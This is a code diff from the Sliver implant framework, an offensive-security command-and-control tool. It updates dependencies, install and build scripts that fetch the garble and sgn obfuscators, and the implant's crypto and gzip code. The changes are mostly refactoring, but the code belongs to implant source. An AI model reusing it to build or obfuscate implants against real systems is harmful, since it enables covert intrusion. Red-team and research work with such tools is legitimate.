+      faraday-net_http (>= 2.0, < 3.1)
       ruby2_keywords (>= 0.0.4)
-    faraday-em_http (1.0.0)
-    faraday-em_synchrony (1.0.0)
-    faraday-excon (1.1.0)
-    faraday-httpclient (1.0.1)
-    faraday-multipart (1.0.3)
-      multipart-post (>= 1.2, < 3)
-    faraday-net_http (1.0.1)
-    faraday-net_http_persistent (1.2.0)
-    faraday-patron (1.0.0)
-    faraday-rack (1.0.0)
-    faraday-retry (1.0.3)
+    faraday-net_http (3.0.2)
     ffi (1.15.5)
     forwardable-extended (2.6.0)
     gemoji (3.0.1)
-    github-pages (225)
+    github-pages (228)
       github-pages-health-check (= 1.17.9)
-      jekyll (= 3.9.0)
+      jekyll (= 3.9.3)
       jekyll-avatar (= 0.7.0)
       jekyll-coffeescript (= 1.1.1)
-      jekyll-commonmark-ghpages (= 0.2.0)
+      jekyll-commonmark-ghpages (= 0.4.0)
       jekyll-default-layout (= 0.1.4)
       jekyll-feed (= 0.15.1)
       jekyll-gist (= 1.5.0)
@@ -88,12 +69,12 @@ GEM
       jekyll-theme-time-machine (= 0.2.0)
       jekyll-titles-from-headings (= 0.5.3)
       jemoji (= 0.12.0)
-      kramdown (= 2.3.1)
+      kramdown (= 2.3.2)
       kramdown-parser-gfm (= 1.1.0)
-      liquid (= 4.0.3)
+      liquid (= 4.0.4)
       mercenary (~> 0.3)
       minima (= 2.5.1)
-      nokogiri (>= 1.12.5, < 2.0)
+      nokogiri (>= 1.13.6, < 2.0)
       rouge (= 3.26.0)
       terminal-table (~> 1.4)
     github-pages-health-check (1.17.9)
@@ -102,17 +83,17 @@ GEM
       octokit (~> 4.0)
       public_suffix (>= 3.0, < 5.0)
       typhoeus (~> 1.3)
-    html-pipeline (2.14.0)
+    html-pipeline (2.14.3)
       activesupport (>= 2)
       nokogiri (>= 1.4)
     http_parser.rb (0.8.0)
-    i18n (0.9.5)
+    i18n (1.12.0)
       concurrent-ruby (~> 1.0)
-    jekyll (3.9.0)
+    jekyll (3.9.3)
       addressable (~> 2.4)
       colorator (~> 1.0)
       em-websocket (~> 0.5)
-      i18n (~> 0.7)
+      i18n (>= 0.7, < 2)
       jekyll-sass-converter (~> 1.0)
       jekyll-watch (~> 2.0)
       kramdown (>= 1.17, < 3)
@@ -128,11 +109,11 @@ GEM
       coffee-script-source (~> 1.11.1)
     jekyll-commonmark (1.4.0)
       commonmarker (~> 0.22)
-    jekyll-commonmark-ghpages (0.2.0)
-      commonmarker (~> 0.23.4)
+    jekyll-commonmark-ghpages (0.4.0)
+      commonmarker (~> 0.23.7)
       jekyll (~> 3.9.0)
       jekyll-commonmark (~> 1.4.0)
-      rouge (>= 2.0, < 4.0)
+      rouge (>= 2.0, < 5.0)
     jekyll-default-layout (0.1.4)
       jekyll (~> 3.0)
     jekyll-feed (0.15.1)
@@ -216,33 +197,32 @@ GEM
       gemoji (~> 3.0)
       html-pipeline (~> 2.2)
       jekyll (>= 3.0, < 5.0)
-    kramdown (2.3.1)
+    kramdown (2.3.2)
       rexml
     kramdown-parser-gfm (1.1.0)
       kramdown (~> 2.0)
-    liquid (4.0.3)
-    listen (3.7.1)
+    liquid (4.0.4)
+    listen (3.8.0)
       rb-fsevent (~> 0.10, >= 0.10.3)
       rb-inotify (~> 0.9, >= 0.9.10)
     mercenary (0.3.6)
-    mini_portile2 (2.8.0)
+    mini_portile2 (2.8.1)
     minima (2.5.1)
       jekyll (>= 3.5, < 5.0)
       jekyll-feed (~> 0.9)
       jekyll-seo-tag (~> 2.1)
-    minitest (5.15.0)
-    multipart-post (2.1.1)
-    nokogiri (1.13.6)
+    minitest (5.17.0)
+    nokogiri (1.14.3)
       mini_portile2 (~> 2.8.0)
       racc (~> 1.4)
-    octokit (4.22.0)
-      faraday (>= 0.9)
-      sawyer (~> 0.8.0, >= 0.5.3)
+    octokit (4.25.1)
+      faraday (>= 1, < 3)
+      sawyer (~> 0.9)
     pathutil (0.16.2)
       forwardable-extended (~> 2.6)
-    public_suffix (4.0.6)
-    racc (1.6.0)
-    rb-fsevent (0.11.1)
+    public_suffix (4.0.7)
+    racc (1.6.2)
+    rb-fsevent (0.11.2)
     rb-inotify (0.10.1)
       ffi (~> 1.0)
     rexml (3.2.5)
@@ -255,9 +235,9 @@ GEM
     sass-listen (4.0.0)
       rb-fsevent (~> 0.9, >= 0.9.4)
       rb-inotify (~> 0.9, >= 0.9.7)
-    sawyer (0.8.2)
+    sawyer (0.9.2)
       addressable (>= 2.3.5)
-      faraday (> 0.8, < 2.0)
+      faraday (>= 0.17.3, < 3)
     simpleidn (0.2.1)
       unf (~> 0.1.4)
     terminal-table (1.8.0)
@@ -265,16 +245,17 @@ GEM
     thread_safe (0.3.6)
     typhoeus (1.4.0)
       ethon (>= 0.9.0)
-    tzinfo (1.2.10)
+    tzinfo (1.2.11)
       thread_safe (~> 0.1)
-    tzinfo-data (1.2021.5)
+    tzinfo-data (1.2022.7)
       tzinfo (>= 1.0.0)
     unf (0.1.4)
       unf_ext
-    unf_ext (0.0.8)
+    unf_ext (0.0.8.2)
     unicode-display_width (1.8.0)
     wdm (0.1.1)
-    zeitwerk (2.5.4)
+    webrick (1.8.1)
+    zeitwerk (2.6.7)
 
 PLATFORMS
   ruby
@@ -287,6 +268,7 @@ DEPENDENCIES
   tzinfo (~> 1.2)
   tzinfo-data
   wdm (~> 0.1.0)
+  webrick (~> 1.8)
 
 BUNDLED WITH
-   1.17.3
+   2.4.6

docs/_config.yml

@@ -31,6 +31,15 @@ show_downloads: true
 plugins:
   - jekyll-feed
 
+plugins:
+  - jekyll-notion
+
+# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
+notion:
+  fetch_on_watch: true
+  databases:
+    - id: 4bbf1c77cabc46e09428c871283683d3
+
 # Exclude from processing.
 # The following items will not be processed, by default. Create a custom list
 # to override the default setting.

docs/install

@@ -10,13 +10,13 @@ fi
 
 if [ -n "$(command -v yum)" ]
 then
-    yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
+    yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
 fi
 
 if [ -n "$(command -v apt-get)" ]
 then
     DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
-        gpg curl build-essential \
+        gpg curl build-essential git \
         mingw-w64 binutils-mingw-w64 g++-mingw-w64
 fi
 
@@ -130,7 +130,8 @@ fi
 
 if test -f "/root/$SLIVER_CLIENT"; then
     chmod 755 /root/$SLIVER_CLIENT 
-    cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+    cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
+    ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
     chmod 755 /usr/local/bin/sliver
 else
     exit 3
@@ -170,6 +171,6 @@ for USER_DIR in "${USER_DIRS[@]}"; do
     if id -u $USER >/dev/null 2>&1; then
         mkdir -p $USER_DIR/.sliver-client/configs
         /root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
-        chown -R $USER:$USER $USER_DIR/.sliver-client/
+        chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
     fi
-done
+done

go-assets.sh

@@ -20,8 +20,8 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.18.5"
-GARBLE_VER="1.18.0"
+GO_VER="1.20.4"
+GARBLE_VER="1.20.4"
 SGN_VER="0.0.3"
 
 GO_ARCH_1="amd64"
@@ -156,8 +156,8 @@ echo "-----------------------------------------------------------------"
 
 echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
 curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
-echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
-curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2
 echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
 curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
@@ -190,7 +190,6 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
 curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
 
-
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR

go.mod

@@ -5,124 +5,120 @@ go 1.18
 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
 
 require (
-	github.com/AlecAivazis/survey/v2 v2.2.2
+	github.com/AlecAivazis/survey/v2 v2.3.6
 	github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/Ne0nd0g/go-clr v1.0.2
-	github.com/alecthomas/chroma v0.8.1
-	github.com/cheggaaa/pb/v3 v3.0.5
-	github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
-	github.com/chromedp/chromedp v0.8.5
+	github.com/Ne0nd0g/go-clr v1.0.3
+	github.com/alecthomas/chroma v0.10.0
+	github.com/cheggaaa/pb/v3 v3.1.2
+	github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9
+	github.com/chromedp/chromedp v0.9.1
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
-	github.com/fatih/color v1.12.0
-	github.com/gofrs/uuid v3.3.0+incompatible
+	github.com/desertbit/readline v1.5.1
+	github.com/fatih/color v1.15.0
+	github.com/gofrs/uuid v4.4.0+incompatible
 	github.com/google/uuid v1.3.0
 	github.com/gorilla/mux v1.8.0
-	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
-	github.com/jedib0t/go-pretty/v6 v6.2.4
+	github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
+	github.com/jedib0t/go-pretty/v6 v6.4.6
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
-	github.com/mattn/go-sqlite3 v1.14.12
-	github.com/miekg/dns v1.1.35
+	github.com/mattn/go-sqlite3 v1.14.16
+	github.com/miekg/dns v1.1.54
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
-	github.com/pquerna/otp v1.3.0
-	github.com/shirou/gopsutil/v3 v3.21.10
-	github.com/sirupsen/logrus v1.8.1
-	github.com/spf13/cobra v1.1.1
-	github.com/stretchr/testify v1.7.0
-	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
-	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
-	golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
-	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
-	golang.org/x/text v0.3.7
+	github.com/pquerna/otp v1.4.0
+	github.com/sirupsen/logrus v1.9.0
+	github.com/spf13/cobra v1.7.0
+	github.com/stretchr/testify v1.8.1
+	github.com/things-go/go-socks5 v0.0.3
+	github.com/xlab/treeprint v1.2.0
+	github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
+	golang.org/x/crypto v0.9.0
+	golang.org/x/net v0.10.0
+	golang.org/x/sys v0.8.0
+	golang.org/x/term v0.8.0
+	golang.org/x/text v0.9.0
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
-	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
-	google.golang.org/protobuf v1.27.1
+	google.golang.org/grpc v1.55.0
+	google.golang.org/protobuf v1.30.0
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
-	gorm.io/driver/mysql v1.0.3
-	gorm.io/driver/postgres v1.0.5
-	gorm.io/driver/sqlite v1.1.3
-	gorm.io/gorm v1.21.14
-	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
-	modernc.org/sqlite v1.16.0
+	gorm.io/driver/mysql v1.5.0
+	gorm.io/driver/postgres v1.5.0
+	gorm.io/driver/sqlite v1.5.0
+	gorm.io/gorm v1.25.1
+	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
+	modernc.org/sqlite v1.22.1
 )
 
 require (
 	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
 	github.com/Microsoft/go-winio v0.5.1 // indirect
-	github.com/StackExchange/wmi v1.2.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
-	github.com/VividCortex/ewma v1.1.1 // indirect
+	github.com/VividCortex/ewma v1.2.0 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
 	github.com/chromedp/sysutil v1.0.0 // indirect
-	github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
 	github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
 	github.com/desertbit/closer/v3 v3.1.2 // indirect
-	github.com/desertbit/readline v1.5.1 // indirect
-	github.com/dlclark/regexp2 v1.2.0 // indirect
+	github.com/dlclark/regexp2 v1.4.0 // indirect
+	github.com/dustin/go-humanize v1.0.1 // indirect
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
-	github.com/go-ole/go-ole v1.2.6 // indirect
-	github.com/go-sql-driver/mysql v1.5.0 // indirect
+	github.com/go-sql-driver/mysql v1.7.0 // indirect
 	github.com/gobwas/httphead v0.1.0 // indirect
 	github.com/gobwas/pool v0.2.1 // indirect
 	github.com/gobwas/ws v1.1.0 // indirect
-	github.com/golang/protobuf v1.5.2 // indirect
+	github.com/golang/protobuf v1.5.3 // indirect
 	github.com/google/btree v1.0.1 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
-	github.com/inconshreveable/mousetrap v1.0.0 // indirect
-	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
-	github.com/jackc/pgconn v1.7.0 // indirect
-	github.com/jackc/pgio v1.0.0 // indirect
+	github.com/hashicorp/go-uuid v1.0.2 // indirect
+	github.com/inconshreveable/mousetrap v1.1.0 // indirect
 	github.com/jackc/pgpassfile v1.0.0 // indirect
-	github.com/jackc/pgproto3/v2 v2.0.5 // indirect
-	github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
-	github.com/jackc/pgtype v1.5.0 // indirect
-	github.com/jackc/pgx/v4 v4.9.0 // indirect
+	github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
+	github.com/jackc/pgx/v5 v5.3.0 // indirect
+	github.com/jcmturner/gofork v1.0.0 // indirect
 	github.com/jinzhu/inflection v1.0.0 // indirect
-	github.com/jinzhu/now v1.1.2 // indirect
+	github.com/jinzhu/now v1.1.5 // indirect
 	github.com/josharian/intern v1.0.0 // indirect
 	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
-	github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/mailru/easyjson v0.7.7 // indirect
-	github.com/mattn/go-colorable v0.1.8 // indirect
-	github.com/mattn/go-isatty v0.0.13 // indirect
-	github.com/mattn/go-runewidth v0.0.9 // indirect
+	github.com/mattn/go-colorable v0.1.13 // indirect
+	github.com/mattn/go-isatty v0.0.17 // indirect
+	github.com/mattn/go-runewidth v0.0.13 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
-	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
-	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
-	github.com/sergi/go-diff v1.1.0 // indirect
+	github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
+	github.com/rivo/uniseg v0.2.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/mod v0.5.1 // indirect
+	golang.org/x/mod v0.8.0 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.1.9 // indirect
-	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	golang.org/x/tools v0.6.0 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
-	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
-	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
-	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
-	gopkg.in/yaml.v3 v3.0.0 // indirect
-	lukechampine.com/uint128 v1.1.1 // indirect
-	modernc.org/cc/v3 v3.35.24 // indirect
-	modernc.org/ccgo/v3 v3.15.18 // indirect
-	modernc.org/libc v1.14.12 // indirect
-	modernc.org/mathutil v1.4.1 // indirect
-	modernc.org/memory v1.0.7 // indirect
-	modernc.org/opt v0.1.1 // indirect
-	modernc.org/strutil v1.1.1 // indirect
-	modernc.org/token v1.0.0 // indirect
+	google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
+	gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
+	gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
+	gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
+	gopkg.in/yaml.v3 v3.0.1 // indirect
+	lukechampine.com/uint128 v1.2.0 // indirect
+	modernc.org/cc/v3 v3.40.0 // indirect
+	modernc.org/ccgo/v3 v3.16.13 // indirect
+	modernc.org/libc v1.22.5 // indirect
+	modernc.org/mathutil v1.5.0 // indirect
+	modernc.org/memory v1.5.0 // indirect
+	modernc.org/opt v0.1.3 // indirect
+	modernc.org/strutil v1.1.3 // indirect
+	modernc.org/token v1.0.1 // indirect
 )

implant/go-mod

@@ -1,10 +1,10 @@
 module github.com/bishopfox/sliver
 
-go 1.17
+go 1.18
 
 require (
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/Ne0nd0g/go-clr v1.0.2
+	github.com/Ne0nd0g/go-clr v1.0.3
 	github.com/gofrs/uuid v4.0.0+incompatible
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
@@ -13,31 +13,40 @@ require (
 	github.com/pquerna/otp v1.3.0
 	github.com/stretchr/testify v1.7.0
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
 	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
-	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
-	golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
+	golang.org/x/net v0.0.0-20220722155237-a158d28d115b
+	golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
-	google.golang.org/protobuf v1.26.0
-	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+	google.golang.org/protobuf v1.28.0
+	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
 )
 
 require (
 	github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
 	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-	github.com/Microsoft/go-winio v0.5.0 // indirect
+	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/google/btree v1.0.1 // indirect
+	github.com/google/go-cmp v0.5.8 // indirect
+	github.com/hashicorp/go-uuid v1.0.2 // indirect
+	github.com/jcmturner/gofork v1.0.0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
-	golang.org/x/mod v0.4.2 // indirect
+	golang.org/x/mod v0.5.1 // indirect
 	golang.org/x/text v0.3.7 // indirect
 	golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
-	golang.org/x/tools v0.1.7 // indirect
+	golang.org/x/tools v0.1.9 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
-	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
+	gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
+	gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
+	gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
+	gopkg.in/yaml.v3 v3.0.1 // indirect
 )

implant/scripts/update-vendor.sh

@@ -1,7 +1,17 @@
-#!/bin/sh
+#!/bin/bash
 
 set -e
 
+cleanup() {
+  [ ! -z "$1" ] && echo "Error $1 occurred on $2"
+
+  mv "${tempDir}/vendor" "${pwd}/../vendor"
+  mv "${tempDir}/go.mod" "${pwd}/../go-mod"
+  mv "${tempDir}/go.sum" "${pwd}/../go-sum"
+  cd ..
+  rm -rf "$tempDir"
+}
+
 # we are expecting from run from sliver/implant via 'go generate'
 cd scripts
 
@@ -12,6 +22,10 @@ cp ../go-mod "${tempDir}/go.mod"
 cp ../go-sum "${tempDir}/go.sum"
 mv ../vendor "${tempDir}/vendor"
 
+
+# Trap when a build fails so we can reset the environment
+trap 'cleanup $? $LINENO' ERR
+
 # build Go file with all imported packages
 go run update-vendor.go "$tempDir"
 cd "$tempDir"
@@ -20,8 +34,4 @@ go mod tidy -compat=1.17
 go mod vendor
 
 # move updated files back
-mv "${tempDir}/vendor" "${pwd}/../vendor"
-mv "${tempDir}/go.mod" "${pwd}/../go-mod"
-mv "${tempDir}/go.sum" "${pwd}/../go-sum"
-cd ..
-rm -rf "$tempDir"
+cleanup

implant/sliver/cryptography/crypto.go

@@ -20,7 +20,6 @@ package cryptography
 
 import (
 	"bytes"
-	"compress/gzip"
 	"crypto/rand"
 	"crypto/sha256"
 	"crypto/x509"
@@ -35,6 +34,7 @@ import (
 	"log"
 	// {{end}}
 
+	"github.com/bishopfox/sliver/implant/sliver/encoders"
 	"github.com/pquerna/otp"
 	"github.com/pquerna/otp/totp"
 	"golang.org/x/crypto/chacha20poly1305"
@@ -107,7 +107,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
 	if err != nil {
 		return nil, err
 	}
-	plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
+	plaintext = bytes.NewBuffer(encoders.GzipBuf(plaintext)).Bytes()
 	nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
 	if _, err := rand.Read(nonce); err != nil {
 		return nil, err
@@ -134,7 +134,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
 	if err != nil {
 		return nil, err
 	}
-	return GunzipBuf(plaintext), nil
+	return encoders.GunzipBuf(plaintext), nil
 }
 
 // NewCipherContext - Wrapper around creating a cipher context from a key
@@ -182,6 +182,15 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
 	return ciphertext, nil
 }
 
+// GetExactOTPCode - Get the OTP code for a specific timestamp
+func GetExactOTPCode(timestamp time.Time) string {
+	code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
+	// {{if .Config.Debug}}
+	log.Printf("TOTP Code (%s): %s", timestamp, code)
+	// {{end}}
+	return code
+}
+
 // GetOTPCode - Get the current OTP code
 func GetOTPCode() string {
 	now := time.Now().UTC()
@@ -239,19 +248,19 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
 	return nil
 }
 
-// GzipBuf - Gzip a buffer
-func GzipBuf(data []byte) []byte {
-	var buf bytes.Buffer
-	zip := gzip.NewWriter(&buf)
-	zip.Write(data)
-	zip.Close()
-	return buf.Bytes()
-}
-
-// GunzipBuf - Gunzip a buffer
-func GunzipBuf(data []byte) []byte {
-	zip, _ := gzip.NewReader(bytes.NewBuffer(data))
-	var buf bytes.Buffer
-	buf.ReadFrom(zip)
-	return buf.Bytes()
-}
+//// GzipBuf - Gzip a buffer
+//func GzipBuf(data []byte) []byte {
+//	var buf bytes.Buffer
+//	zip := gzip.NewWriter(&buf)
+//	zip.Write(data)
+//	zip.Close()
+//	return buf.Bytes()
+//}
+//
+//// GunzipBuf - Gunzip a buffer
+//func GunzipBuf(data []byte) []byte {
+//	zip, _ := gzip.NewReader(bytes.NewBuffer(data))
+//	var buf bytes.Buffer
+//	buf.ReadFrom(zip)
+//	return buf.Bytes()
+//}

implant/sliver/cryptography/tlskeys.go

@@ -0,0 +1,42 @@
+package cryptography
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"os"
+)
+
+var (
+	// TLSKeyLogger - File descriptor for logging TLS keys
+	TLSKeyLogger = newKeyLogger()
+)
+
+func newKeyLogger() *os.File {
+	// {{if .Config.Debug}}
+	keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
+	if present {
+		keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
+		if err != nil {
+			return nil
+		}
+		return keyFile
+	}
+	// {{end}}
+	return nil
+}

implant/sliver/encoders/gzip.go

@@ -21,6 +21,7 @@ package encoders
 import (
 	"bytes"
 	"compress/gzip"
+	"sync"
 )
 
 // GzipEncoderID - EncoderID
@@ -29,12 +30,44 @@ const GzipEncoderID = 49
 // Gzip - Gzip compression encoder
 type Gzip struct{}
 
+var gzipWriterPools = &sync.Pool{}
+
+func init() {
+	gzipWriterPools = &sync.Pool{
+		New: func() interface{} {
+			w, _ := gzip.NewWriterLevel(nil, gzip.BestSpeed)
+			return w
+		},
+	}
+}
+
+// GzipBuf - Gzip a buffer
+func GzipBuf(data []byte) []byte {
+	var buf bytes.Buffer
+	gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
+	gzipWriter.Reset(&buf)
+	gzipWriter.Write(data)
+	gzipWriter.Close()
+	gzipWriterPools.Put(gzipWriter)
+	return buf.Bytes()
+}
+
+// GunzipBuf - Gunzip a buffer
+func GunzipBuf(data []byte) []byte {
+	zip, _ := gzip.NewReader(bytes.NewBuffer(data))
+	var buf bytes.Buffer
+	buf.ReadFrom(zip)
+	return buf.Bytes()
+}
+
 // Encode - Compress data with gzip
 func (g Gzip) Encode(data []byte) []byte {
 	var buf bytes.Buffer
-	gzipWriter, _ := gzip.NewWriterLevel(&buf, gzip.BestSpeed)
